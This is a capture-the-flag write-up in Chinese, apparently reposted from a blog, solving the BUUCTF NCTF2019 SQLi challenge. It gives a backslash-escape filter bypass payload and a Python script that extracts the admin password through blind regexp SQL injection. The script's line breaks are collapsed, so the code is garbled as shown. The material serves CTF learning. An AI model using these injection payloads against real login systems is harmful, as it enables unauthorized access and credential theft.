欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 汽车 > 时评 > 【BUUCTF】[NCTF2019]SQLi

【BUUCTF】[NCTF2019]SQLi

2025/11/11 6:47:13 来源:https://blog.csdn.net/2401_86760082/article/details/145216786  浏览:    关键词:【BUUCTF】[NCTF2019]SQLi

进入题目页面如下

是一个登录界面

尝试万能密码,错误

使用dirsearch目录扫描

发现robots.txt文件

访问robots.txt,发现hint.txt

里面提示了过滤的关键字

下面这行代码的意思是如果 `$_POST['passwd']` 等于管理员的密码, 那么你将获得标志(flag)

根据题目可以得出这是字符型注入,但是 ' 也被过滤

看到过滤了很多关键字,但是转义符好像没过滤,可以利用转义符构成闭合语句

passwd=||/**/1;%00&username=\

得到welcome.php文件

再看过滤了很多函数,但好像没有过滤regexp尝试regexp函数

脚本爆破密码

import requests
from urllib.parse import unquote
import stringdef regexp_guess():guessed_result = ""possible_characters = string.ascii_lowercase + string.digits + '_'target_url = "http://ed141fe7-706a-4558-bb83-02e719516467.node5.buuoj.cn:81/index.php"for length in range(1, 100):for char in possible_characters:current_guess = guessed_result + charpayload = "||/**/passwd/**/regexp/**/\"^{}\";{}".format(current_guess, unquote('%00'))data = {"username": "\\","passwd": payload}response = requests.post(target_url, data=data)if "welcome.php" in response.text:guessed_result = current_guessbreakprint(guessed_result)if __name__ == "__main__":regexp_guess()

代码解释

requests 用于发送 HTTP 请求

unquote 用于 URL 解码,string 用于获取特定的字符集合

定义了一个名为 regexp_guess 的函数
guessed_result 用于存储逐步猜测得到的结果,初始为空字符串

定义了可能用于猜测的字符集合,包括小写字母、数字和下划线
   
发送请求的目标 URL
   
外层的 for 循环控制猜测结果的长度,从 1 到 100 
      
内层的 for 循环遍历可能的字符
           
current_guess 是当前正在猜测的字符组合,通过将新字符添加到之前的猜测结果形成
           
构建 payload ,这是用于发送请求的特定格式的数据
            
构建 data 字典,包含用户名和密码(即 payload )
           
使用 requests.post 向目标 URL 发送 POST 请求,并将响应存储在 response 变量中
          
如果响应包含 "welcome.php" ,说明猜测是正确,更新 guessed_result 跳出内层循环

条件下调用 regexp_guess 函数来执行整个猜测过程

得到密码

you_will_never_know7788990

用密码登录得到flag

最终的得到flag

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com